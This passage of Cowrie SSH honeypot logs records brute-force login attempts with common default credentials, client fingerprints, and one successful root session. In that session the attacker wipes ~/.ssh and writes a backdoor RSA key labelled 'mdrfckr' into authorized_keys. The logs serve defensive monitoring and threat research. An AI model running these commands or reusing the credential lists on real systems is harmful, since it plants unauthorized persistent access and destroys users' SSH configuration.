ha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:32.084929Z","src_ip":"92.118.39.56","session":"63590b6228c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:32.382839Z","src_ip":"92.118.39.56","session":"63590b6228c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:33.484748Z","src_ip":"92.118.39.56","session":"63590b6228c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":43884,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7b000db917b","protocol":"ssh","message":"New connection: 5.75.240.121:43884 (159.203.135.109:22) [session: b7b000db917b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:44.794008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:44.797768Z","src_ip":"5.75.240.121","session":"b7b000db917b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:44.889982Z","src_ip":"5.75.240.121","session":"b7b000db917b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp2014","message":"login attempt [ftp/ftp2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:45.072674Z","src_ip":"5.75.240.121","session":"b7b000db917b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:46.164890Z","src_ip":"5.75.240.121","session":"b7b000db917b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":56866,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ee4678c35e0","protocol":"ssh","message":"New connection: 92.118.39.76:56866 (159.203.135.109:22) [session: 7ee4678c35e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:09:09.517134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:09:09.522263Z","src_ip":"92.118.39.76","session":"7ee4678c35e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:09:09.638313Z","src_ip":"92.118.39.76","session":"7ee4678c35e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:09:10.089392Z","src_ip":"92.118.39.76","session":"7ee4678c35e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:09:11.195085Z","src_ip":"92.118.39.76","session":"7ee4678c35e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.147.115.42","src_port":10028,"dst_ip":"159.203.135.109","dst_port":22,"session":"8957ca069606","protocol":"ssh","message":"New connection: 221.147.115.42:10028 (159.203.135.109:22) [session: 8957ca069606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:09.510752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:09.515321Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:09.716786Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"jyb-2025","message":"login attempt [root/jyb-2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:10.559176Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:10.994708Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:10.997493Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:11.001107Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:11.206563Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:11.685850Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:11.688138Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:11.893979Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:11.897474Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.147.115.42","src_port":58422,"dst_ip":"159.203.135.109","dst_port":22,"session":"29e8ccab881e","protocol":"ssh","message":"New connection: 221.147.115.42:58422 (159.203.135.109:22) [session: 29e8ccab881e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:12.085041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:12.089205Z","src_ip":"221.147.115.42","session":"29e8ccab881e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:12.287546Z","src_ip":"221.147.115.42","session":"29e8ccab881e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:13.117124Z","src_ip":"221.147.115.42","session":"29e8ccab881e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:14.321045Z","src_ip":"221.147.115.42","session":"29e8ccab881e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.147.115.42","src_port":58428,"dst_ip":"159.203.135.109","dst_port":22,"session":"2297757863a1","protocol":"ssh","message":"New connection: 221.147.115.42:58428 (159.203.135.109:22) [session: 2297757863a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:14.521568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:14.526521Z","src_ip":"221.147.115.42","session":"2297757863a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:14.727113Z","src_ip":"221.147.115.42","session":"2297757863a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:15.564480Z","src_ip":"221.147.115.42","session":"2297757863a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:15.768576Z","src_ip":"221.147.115.42","session":"8957ca069606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:15.773261Z","src_ip":"221.147.115.42","session":"2297757863a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":36178,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cb40373207a","protocol":"ssh","message":"New connection: 92.118.39.76:36178 (159.203.135.109:22) [session: 1cb40373207a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:17.801208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:17.805909Z","src_ip":"92.118.39.76","session":"1cb40373207a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:17.906944Z","src_ip":"92.118.39.76","session":"1cb40373207a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:18.208107Z","src_ip":"92.118.39.76","session":"1cb40373207a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:19.310347Z","src_ip":"92.118.39.76","session":"1cb40373207a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":45849,"dst_ip":"159.203.135.109","dst_port":22,"session":"d17732b5c9b3","protocol":"ssh","message":"New connection: 189.217.130.86:45849 (159.203.135.109:22) [session: d17732b5c9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:20.873644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:20.877520Z","src_ip":"189.217.130.86","session":"d17732b5c9b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-g